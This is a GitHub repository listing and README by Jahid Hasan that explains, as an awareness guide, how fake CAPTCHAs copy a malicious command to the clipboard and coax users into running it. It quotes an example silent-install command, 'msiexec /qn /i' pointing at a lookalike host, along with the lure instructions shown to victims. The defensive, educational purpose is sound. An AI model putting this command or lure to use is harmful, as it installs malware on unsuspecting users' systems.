https://github.com/antordos/captcha-social-engineering-attack
"A detailed explanation and awareness guide on CAPTCHA Social Engineering Attacks where fake CAPTCHAs are used to hijack the clipboard and deliver silent malware via user action."
https://github.com/antordos/captcha-social-engineering-attack
antordos clipboard-attack cyber-threats cybersecurity ethicalhacking hacking information-security infosec jahidhasan malware pentesting phishing security-awareness security-research social-engineering
Last synced: 5 months ago
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"A detailed explanation and awareness guide on CAPTCHA Social Engineering Attacks where fake CAPTCHAs are used to hijack the clipboard and deliver silent malware via user action."
- Host: GitHub
- URL: https://github.com/antordos/captcha-social-engineering-attack
- Owner: AntorDOS
- License: mit
- Created: 2025-06-16T06:06:29.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-06-16T06:13:51.000Z (about 1 year ago)
- Last Synced: 2025-07-01T06:05:02.160Z (12 months ago)
- Topics: antordos, clipboard-attack, cyber-threats, cybersecurity, ethicalhacking, hacking, information-security, infosec, jahidhasan, malware, pentesting, phishing, security-awareness, security-research, social-engineering
- Homepage:
- Size: 14.6 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# CAPTCHA Social Engineering Attack – A Silent Threat You Should Know About
## 📖 Overview
In today’s cybersecurity landscape, attackers are becoming smarter and using creative ways to trick unsuspecting users. One such dangerous and deceptive technique is called a **CAPTCHA Social Engineering Attack** — a method that abuses the familiar "I'm not a robot" CAPTCHA to compromise your system.
---
## ⚙️ How This Attack Works
1. You visit a suspicious or malicious website.
2. The site shows a seemingly legitimate CAPTCHA — similar to Google or Cloudflare’s human verification.
3. Believing it’s genuine, you click the CAPTCHA checkbox.
4. **Silently, a malicious command gets copied into your clipboard** without your knowledge. Example:
```
msiexec /qn /i https://clloudsverify.com/o.msi
```
5. Then you see a message like this:
> "To complete the verification process, press **Win + R**, then **Ctrl + V**, and hit Enter."
6. Once you obey:
* **Win + R** opens the Run dialog.
* **Ctrl + V** pastes the malicious command.
* **Enter** executes it.
This installs malware silently — no alerts, no warnings.
---
## 🎯 Why This Attack is Dangerous
* **Trust Exploitation**: Users assume CAPTCHA equals safety.
* **Clipboard Hijacking**: Code is injected silently.
* **Social Engineering**: Users are tricked into executing commands.
* **Stealthy Execution**: The command uses Windows Installer (`msiexec`) in quiet mode (`/qn`) to avoid detection.
---
## 💥 Potential Impacts
* ⚠️ Full system compromise
* ⚠️ Theft of credentials, files, personal data
* ⚠️ Installation of Remote Access Trojans (RATs)
* ⚠️ Long-term backdoor access for attackers
---
## 🛡️ How to Protect Yourself
✅ **Never follow online instructions** asking you to use Win + R and paste commands.
✅ **Always check clipboard content** before pasting — open Notepad, press Ctrl + V, and inspect.
✅ **Avoid unknown or suspicious websites**.
✅ **Keep security software updated**.
✅ **Educate others** about such modern social engineering methods.
---
## 🚫 Important Reminder
Just because a CAPTCHA appears doesn’t mean a site is trustworthy. Fake CAPTCHAs can easily be weaponized for such attacks.
> **Stay alert. Stay secure.** 🔐
---
## 📜 License
This project is licensed under the **MIT License** — see the [LICENSE](LICENSE) file for details.
---
## 🏷️ GitHub Topics
`cybersecurity` `social-engineering` `clipboard-attack` `malware` `security-awareness` `hacking` `information-security` `cyber-threats`
---
## 🙌 Contributions
Contributions, suggestions, and improvements are welcome. Feel free to open an Issue or Pull Request.
---
## 🔗 Author
**Jahid Hasan**
[LinkedIn](https://www.linkedin.com/in/jahid-hasan-antor) | [GitHub](https://github.com/AntorDOS)
---
*This repository is intended for educational and awareness purposes only.*